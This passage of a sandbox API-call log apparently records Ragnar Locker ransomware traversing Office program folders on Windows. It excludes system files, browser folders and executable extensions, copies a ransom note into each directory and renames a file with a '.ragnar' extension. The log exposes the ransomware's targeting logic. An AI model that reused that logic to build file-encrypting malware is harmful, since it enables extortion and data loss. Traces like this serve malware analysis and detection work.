ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2=".") returned 1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2="..") returned 1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2="Windows") returned -1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2="Windows.old") returned -1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2="Tor browser") returned -1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2="Internet Explorer") returned -1 [0060.441] lstrcmpiW (lpString1="Cultures", lpString2="Google") returned -1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="Opera") returned -1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="Opera Software") returned -1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="Mozilla") returned -1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="Mozilla Firefox") returned -1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="$Recycle.Bin") returned 1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="ProgramData") returned -1 [0060.442] lstrcmpiW (lpString1="Cultures", lpString2="All Users") returned 1 [0060.442] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0060.442] lstrcpyW (in: lpString1=0x1eb638, lpString2="Cultures" | out: lpString1="Cultures") returned="Cultures" [0060.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\" [0060.442] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\" [0060.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\RGNR_FD7BD9FC.txt" [0060.442] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0060.446] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*" [0060.446] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0060.446] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0060.446] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0060.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76460e60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0060.446] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0060.446] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76460e60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.446] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0060.446] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0060.446] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0060.446] lstrcmpiW (lpString1="OFFICE.ODF", lpString2=".") returned 1 [0060.446] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="..") returned 1 [0060.446] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76460e60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0060.446] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0060.446] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0060.446] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76460e60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0060.447] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0060.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76460e60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0060.447] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x76460e60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.447] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0060.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0060.447] lstrcpyW (in: lpString1=0x1eab72, lpString2="OFFICE.ODF" | out: lpString1="OFFICE.ODF") returned="OFFICE.ODF" [0060.447] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned=".ODF" [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="autorun.inf") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="boot.ini") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="bootfont.bin") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="bootsect.bak") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="bootmgr") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="bootmgr.efi") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="bootmgfw.efi") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="desktop.ini") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="iconcache.db") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="ntldr") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="ntuser.dat") returned 1 [0060.447] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="ntuser.dat.log") returned 1 [0060.448] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="ntuser.ini") returned 1 [0060.448] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="thumbs.db") returned -1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".db") returned 1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".sys") returned -1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".dll") returned 1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".lnk") returned 1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".msi") returned 1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".drv") returned 1 [0060.448] lstrcmpiW (lpString1=".ODF", lpString2=".exe") returned 1 [0060.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0060.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0060.448] CloseHandle (hObject=0xffffffff) returned 0 [0060.448] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" [0060.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.ragnar_FD7BD9FC" [0060.448] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0060.449] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76460e60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0060.449] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0060.449] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0060.449] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\RGNR_FD7BD9FC.txt") returned=".txt" [0060.449] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0060.449] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76460e60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76460e60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0060.449] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="EXPSRV.DLL", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="EXP_PDF.DLL", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="EXP_XPS.DLL", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="FLTLDR.EXE", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="IACOM2.DLL", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="IACOM2.DLL", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="LICLUA.EXE", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="LICLUA.EXE", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="MSO.DLL", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="MSO.DLL", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2=".") returned 1 [0060.450] lstrcmpiW (lpString1="MSOICONS.EXE", lpString2="..") returned 1 [0060.450] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0060.450] lstrcmpiW (lpString1="MSORES.DLL", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MSORES.DLL", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="msoshext.dll", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="msoshext.dll", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MSOXEV.DLL", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2=".") returned 1 [0060.451] lstrcmpiW (lpString1="MSPTLS.DLL", lpString2="..") returned 1 [0060.451] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0060.451] lstrcmpiW (lpString1="MSSOAP30.DLL", lpString2=".") returned 1 [0060.451] lstrcmpiW 